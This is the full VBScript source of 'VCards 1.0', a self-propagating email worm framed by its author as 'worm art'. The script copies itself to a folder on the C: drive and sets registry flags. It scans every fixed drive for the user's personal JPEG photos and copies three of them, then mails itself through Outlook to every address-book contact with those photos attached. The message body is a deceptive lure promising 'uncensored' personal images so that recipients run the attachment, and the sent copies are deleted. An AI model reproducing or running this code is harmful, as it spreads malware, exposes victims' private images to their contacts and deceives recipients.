'VCards 1.0, (Worm art for the massives)
'Written By Mark Daggett http://www.flavoredthunder.com
'Props: SafteyPup, Alchemist, The RSG, Implicit, Eraser, Tron and the rest.

On Error Resume Next
Set WScriptObj = CreateObject("WScript.Shell")
Set FileSysObj = CreateObject("scripting.filesystemobject")

Dim fileLoc, message, runApp
runApp = TRUE	
runAPP = confirmRun()	
	
If (runApp) Then
	'MsgBox "Running VCards:" & wscript.scriptfullname
	WScriptObj.regwrite "HKEY_CURRENT_USER\software\vcards\", vcards	
	fileLoc = ScriptPath()
	
	Set fso = CreateObject("Scripting.FileSystemObject") 'Create the folder to store the stuff in
	If not fso.FolderExists("C:\vcache") Then fso.CreateFolder("C:\vcache")
	Set fso = Nothing 
	
	FileSysObj.copyfile wscript.scriptfullname,"C:\vcache\vcards.vbs" 'Copy the vbs file to the new directory

	Dim uMessage,uImg0, uImg1, uImg2            
	uMessage = ""
	uMessage = userMessage()    'User's message to the next recipient
	message = makeMessage()     'Generate the text for the email
	saveDisplayImgs()           'Save the images to the user's HD.
	makeDisplayHTML()           'Make HTML Document to display.
	DisplayHTML()               'Open IE and show the file.
	Set dc = FileSysObj.Drives  'Search the user's drives.
	For Each d In dc
        	If d.DriveType = 2 Then getFolderList (d.Path&"\") 'fixed drive
	Next

	'If the files have been found then copy them to a temp directory.
	If uImg0 <> "" Then FileSysObj.CopyFile uImg0, "C:\vcache\vcrd01.vcrd",TRUE
	If uImg1 <> "" Then FileSysObj.CopyFile uImg1, "C:\vcache\vcrd02.vcrd",TRUE
	If uImg2 <> "" Then FileSysObj.CopyFile uImg2, "C:\vcache\vcrd03.vcrd",TRUE

	'MsgBox "image01:"&uImg0
	'MsgBox "image02:"&uImg1
	'MsgBox "image03:"&uImg2

	If WScriptObj.regread ("HKEY_CURRENT_USER\software\vcards\mailed") <> "1" Then mailcard() 'Send the mail to the users in the address book.
End If


Function makeMessage()

	On Error Resume Next
	Dim HTML 'This is the HTML message to send the the users
	HTML = HTML & "Hi!"& vbcrlf &""
	HTML = HTML & "Click the ""vcards.vbs"" to view your card!"& vbcrlf & vbcrlf &""
	HTML = HTML & "One of your friends is giving you a voyeuristic glimpse of their personal images."& vbcrlf &""
	HTML = HTML & "The images were randomly chosen and are totally uncensored!"& vbcrlf &""
	HTML = HTML & "There is no telling what you will see!"& vbcrlf &""
	HTML = HTML & "Click the ""vcards.vbs"" file that is attached to this email to see the uncensored images, and send your own images out to the people in your address book!"& vbcrlf &""
	HTML = HTML & "+ + + + + + + + + + + + + + + + + + + + + + + +"& vbcrlf &""
	HTML = HTML & "Message from your friend:"& vbcrlf &""
	HTML = HTML & ""&uMessage& vbcrlf &""
	HTML = HTML & "+ + + + + + + + + + + + + + + + + + + + + + + +"& vbcrlf &""
	HTML = HTML & "If you are not interested? Just delete this email."& vbcrlf &""
	HTML = HTML & "VCards ""Lets get with hot communications"" "& vbcrlf &""
	makeMessage = HTML
	
End Function

Function DisplayHTML()

	On Error Resume Next
	Dim IE ' Display a URL 
	Set IE = CreateObject("InternetExplorer.Application")

	With IE
        	.left=100
        	.top=100
        	.height=460
        	.width=800
        	.menubar=0
        	.toolbar=0   
        	.statusBar=0
        	.navigate fileLoc & "imgDisplay.html" 
        	.visible=1
	End With

	Do while IE.busy 'wait a while until IE as finished to load
	loop
	Set IE = Nothing
	
End Function


Function getFolderList(Path)

	On Error Resume Next
        Dim Drives, Drive, Folder, Files, File, Subfolders, Subfolder 
        Set Folder = FileSysObj.getfolder(Path) 'Get the folder where we have to work.
        Set Files = Folder.Files                'Get all the files inside this folder
        For Each File In Files                  'Now do a for-each for each file
                ext = FileSysObj.GetExtensionName(File.Path)
                If (ext = "jpg") Or (ext = "jpeg") Then
                         t = FileSysObj.GetFile(File.Path).Size
                         If t > 40000 And t < 120000 Then
                                'This file is the right size to send
                                If (t > FileSysObj.GetFile(uImg0).Size) Then uImg0 = File.Path
                                If t > FileSysObj.GetFile(uImg1).Size And uImg0 <> File.Path Then uImg1 = File.Path
                                If t > FileSysObj.GetFile(uImg2).Size And uImg0 <> File.Path And uImg1 <> File.Path Then uImg2 = File.Path
                        Else
                                If uImg0 = "" Then uImg0 = File.Path        'In case there are no images start out with three smaller ones                                
                                If (uImg1 = "") And (uImg0 <> File.Path) Then uImg1 = File.Path
                                If (uImg2 = "") And (uImg1 <> File.Path) And (uImg0 <> File.Path) Then uImg2 = File.Path
                        End If
                End If
        Next

       	Set Subfolders = Folder.Subfolders  'Search sub folders
       	For Each Subfolder In Subfolders
       		getFolderList (Subfolder.Path)
       	Next
       	
End Function

Function userMessage()

	On Error Resume Next
        Dim userMsg
        userMsg = InputBox("Enter a message for people getting your card?", "Message to your peeps", "", 500, 700)
        If userMsg <> "" Then
                userMessage = userMsg
        Else
                userMessage = ""
        End If
        
End Function

Function confirmRun()

	On Error Resume Next
        Dim doRun        
        doRun = MsgBox( "Do you want to see your VCard?",36,"Vcards!" )

		If doRun = 6 Then confirmRun = True
		If doRun = 7 Then confirmRun = False

End Function



Function mailcard()

        On Error Resume Next
        Set outLookObj = CreateObject("Outlook.Application")
        If outLookObj = "Outlook" Then

                Set pMapiObj = outLookObj.GetNameSpace("MAPI")
                Set pAddressList = pMapiObj.AddressLists
                For Each pAddressObj In pAddressList

                        If pAddressObj.AddressEntries.Count <> 0 Then
                        	
                                pNumOfContacts = pAddressObj.AddressEntries.Count
                                For pCurContanct = 1 To pNumOfContacts
                                       Set pMessage = outLookObj.CreateItem(0)
                                       Set pReceiver = pAddressObj.AddressEntries(pCurContanct)
                                       'MsgBox "Sending to: "&pReceiver
 				       pMessage.To = pReceiver.Address
                                       pMessage.Subject = "You have received a special VCard!"
				       pMessage.BodyFormat = 0 
  				       pMessage.MailFormat = 0 
				       pMessage.Body = message
                                       set pAttachments = pMessage.Attachments
                                       If FileSysObj.FileExists("C:\vcache\vcards.vbs") Then pAttachments.Add "C:\vcache\vcards.vbs"
                                       If FileSysObj.FileExists("C:\vcache\vcrd01.vcrd") Then pAttachments.Add "C:\vcache\vcrd01.vcrd"
				       If FileSysObj.FileExists("C:\vcache\vcrd02.vcrd") Then pAttachments.Add "C:\vcache\vcrd02.vcrd"
				       If FileSysObj.FileExists("C:\vcache\vcrd03.vcrd") Then pAttachments.Add "C:\vcache\vcrd03.vcrd"
                                       pMessage.DeleteAfterSubmit = True
                                       If pMessage.To <> "" Then
                                               pMessage.Send
                                               WScriptObj.regwrite "HKEY_CURRENT_USER\software\vcards\mailed", "1"
                                       End If
                                Next
                        End If
                Next
        Else
                'MsgBox "It seems that you have a different mail client then outlook. VCards only runs on outlook!"
        End If
        
End Function

Function saveDisplayImgs()

On Error Resume Next
	Dim dirtemp
	Dim imgAlert
	Set imgAlert = false
	Set dirtemp = FileSysObj.GetSpecialFolder(2)

	If FileSysObj.FileExists(fileLoc&"\vcrd01.vcrd") Then
		FileSysObj.CopyFile fileLoc&"\vcrd01.vcrd", fileLoc& "\vcrd01.jpg",TRUE
	Else
		'file is probably in the temp directory
		If FileSysObj.FileExists(dirtemp&"\vcrd01.vcrd")Then
			FileSysObj.CopyFile dirtemp&"\vcrd01.vcrd", fileLoc& "\vcrd01.jpg",TRUE
		Else
			imgAlert = true
		End If
	End If
	
	If FileSysObj.FileExists(fileLoc&"\vcrd02.vcrd") Then
		FileSysObj.CopyFile fileLoc&"\vcrd02.vcrd", fileLoc& "\vcrd02.jpg",TRUE
	Else
		'file is probably in the temp directory
		If FileSysObj.FileExists(dirtemp&"\vcrd02.vcrd")Then
			FileSysObj.CopyFile dirtemp&"\vcrd02.vcrd", fileLoc& "\vcrd02.jpg",TRUE
		Else
			imgAlert = true
		End If
	End If
	
	If FileSysObj.FileExists(fileLoc&"\vcrd03.vcrd") Then
		FileSysObj.CopyFile fileLoc&"\vcrd03.vcrd", fileLoc& "\vcrd03.jpg",TRUE
	Else
		'file is probably in the temp directory
		If FileSysObj.FileExists(dirtemp&"\vcrd03.vcrd")Then
			FileSysObj.CopyFile dirtemp&"\vcrd03.vcrd", fileLoc& "\vcrd03.jpg",TRUE
		Else
			imgAlert = true
		End If
	End If

	If ImgAlert Then
		MsgBox "Error Images will not be displayed."& vbcrlf &"Please save all files ending in "".vcrd"" to the same directory as the ""vcards.vbs"" file."& vbcrlf &"Once you have saved the images to the correct location run VCards again."
	End If
	
	

End Function

Function ScriptPath()

On Error Resume Next
	Dim tLoc
        tLoc = Mid(wscript.scriptfullname,1, Len(wscript.scriptfullname)-Len(wscript.scriptname))
	'MsgBox "location to the script" & tLoc
	ScriptPath = tLoc
	
End Function


Function makeDisplayHTML()

	On Error Resume Next
	Dim imgHTML
	imgHTML = imgHTML & "<html>"& vbcrlf &""
	imgHTML = imgHTML & "<head>"& vbcrlf &""
	imgHTML = imgHTML & "<Title>Your VCard sent by your friend!</Title>"& vbcrlf &""
	imgHTML = imgHTML & " <style type=""text/css"">"& vbcrlf &""
	imgHTML = imgHTML & "<!--"& vbcrlf &""
	imgHTML = imgHTML & "select  {  font-family: Verdana, Arial, Helvetica; font-size: 10px }"& vbcrlf &""
	imgHTML = imgHTML & "input   {  font-family: Verdana, Arial, Helvetica; font-size: 10px }"& vbcrlf &""
	imgHTML = imgHTML & "font    {  font-family: Arial, Helvetica; font-size: 10px }"& vbcrlf &""
	imgHTML = imgHTML & "h3      {  font-family: Verdana, Arial, Helvetica; font-size: 10px }"& vbcrlf &""
	imgHTML = imgHTML & "A{text-decoration:none}"& vbcrlf &""
	imgHTML = imgHTML & "-->"& vbcrlf &""
	imgHTML = imgHTML & "</style>"& vbcrlf &""
	imgHTML = imgHTML & "<script language=""JavaScript"">"& vbcrlf &""
	imgHTML = imgHTML & "<!--"& vbcrlf &""
	imgHTML = imgHTML & "//Start of JavaScript code"& vbcrlf &""
	imgHTML = imgHTML & "function setbackground(){"& vbcrlf &""
	imgHTML = imgHTML & "window.setTimeout( ""setbackground()"", 10);"& vbcrlf &""
	imgHTML = imgHTML & "var index = Math.round(Math.random() * 1);"& vbcrlf &""
	imgHTML = imgHTML & "var ColorValue = ""6c6c6c""; // default color - b (index = 0)"& vbcrlf &""
	imgHTML = imgHTML & "if(index == 1)"& vbcrlf &""
	imgHTML = imgHTML & "ColorValue = ""999999""; //gr"& vbcrlf &""
	imgHTML = imgHTML & "document.bgColor=ColorValue;"& vbcrlf &""
	imgHTML = imgHTML & "}"& vbcrlf &""
	imgHTML = imgHTML & "// -- End of JavaScript code -------------- -->"& vbcrlf &""
	imgHTML = imgHTML & "</SCRIPT>"& vbcrlf &""
	imgHTML = imgHTML & "<SCRIPT LANGUAGE=""JavaScript"">"& vbcrlf &""
	imgHTML = imgHTML & "<!-- debut du script"& vbcrlf &""
	imgHTML = imgHTML & "nereidFadeObjects = new Object();"& vbcrlf &""
	imgHTML = imgHTML & "nereidFadeTimers = new Object();"& vbcrlf &""
	imgHTML = imgHTML & "function nereidFade(object, destOp, rate, delta){"& vbcrlf &""
	imgHTML = imgHTML & "if (!document.all)"& vbcrlf &""
	imgHTML = imgHTML & "return"& vbcrlf &""
	imgHTML = imgHTML & "if (object != ""[object]""){"& vbcrlf &""
	imgHTML = imgHTML & "setTimeout(""nereidFade(""+object+"",""+destOp+"",""+rate+"",""+delta+"")"",0);"& vbcrlf &""
	imgHTML = imgHTML & "return;"& vbcrlf &""
	imgHTML = imgHTML & "} "& vbcrlf &""
	imgHTML = imgHTML & "clearTimeout(nereidFadeTimers[object.sourceIndex]);"& vbcrlf &""
	imgHTML = imgHTML & "diff = destOp-object.filters.alpha.opacity;"& vbcrlf &""
	imgHTML = imgHTML & "direction = 1;"& vbcrlf &""
	imgHTML = imgHTML & "if (object.filters.alpha.opacity > destOp){"& vbcrlf &""
	imgHTML = imgHTML & "direction = -1;"& vbcrlf &""
	imgHTML = imgHTML & "}"& vbcrlf &""
	imgHTML = imgHTML & "delta=Math.min(direction*diff,delta);"& vbcrlf &""
	imgHTML = imgHTML & "object.filters.alpha.opacity+=direction*delta;"& vbcrlf &""
	imgHTML = imgHTML & "if (object.filters.alpha.opacity != destOp){"& vbcrlf &""
	imgHTML = imgHTML & "nereidFadeObjects[object.sourceIndex]=object;"& vbcrlf &""
	imgHTML = imgHTML & "nereidFadeTimers[object.sourceIndex]=setTimeout(""nereidFade(nereidFadeObjects[""+object.sourceIndex+""],""+destOp+"",""+rate+"",""+delta+"")"",rate);"& vbcrlf &""
	imgHTML = imgHTML & "}"& vbcrlf &""
	imgHTML = imgHTML & "}"& vbcrlf &""
	imgHTML = imgHTML & "function imagelogo(lImg) {"& vbcrlf &""
	imgHTML = imgHTML & "return (""<a href=\""#\"" target=\""_self\""><img style=\""filter:alpha(opacity=""+(Math.floor(Math.random()*80)+20)+"")\"" onmouseover=\""nereidFade(this,100,30,5)\"" onmouseout=\""nereidFade(this,""+Math.floor(Math.random()*10)+"",50,5)\"" src=""+lImg+"" width=\""30%\"" height=\""380\"" border=\""0\""></a>"");"& vbcrlf &""
	imgHTML = imgHTML & "}"& vbcrlf &""
	imgHTML = imgHTML & "// -- End of JavaScript code -------------- -->"& vbcrlf &""
	imgHTML = imgHTML & "</SCRIPT>"& vbcrlf &""
	imgHTML = imgHTML & "</HEAD>"& vbcrlf &""
	imgHTML = imgHTML & "<body bgcolor=""#6c6c6c"" text=""#ececec"" link=""#ffdddd"" vlink=""#ffdddd"" onLoad=""setbackground();"">"& vbcrlf &""
	imgHTML = imgHTML & "<center>"& vbcrlf &""
	imgHTML = imgHTML & "<script>document.write(imagelogo(""vcrd01.jpg""));</script>"& vbcrlf &""
	imgHTML = imgHTML & "<script>document.write(imagelogo(""vcrd02.jpg""));</script>"& vbcrlf &""
	imgHTML = imgHTML & "<script>document.write(imagelogo(""vcrd03.jpg""));</script>"& vbcrlf &""
	imgHTML = imgHTML & "</center>"& vbcrlf &""
	imgHTML = imgHTML & "</body>"& vbcrlf &""
	imgHTML = imgHTML & "</html>"& vbcrlf &""

	Dim FileSysObj, objOutputFile, strOutputFile
	strOutputFile = fileLoc & "imgDisplay.html" ' generate a filename base on the script name
	Set FileSysObj = CreateObject("Scripting.fileSystemObject")
	Set objOutputFile = FileSysObj.CreateTextFile(strOutputFile, TRUE)
	objOutputFile.WriteLine(imgHTML)
	objOutputFile.Close
	Set FileSysObj = Nothing
	
End Function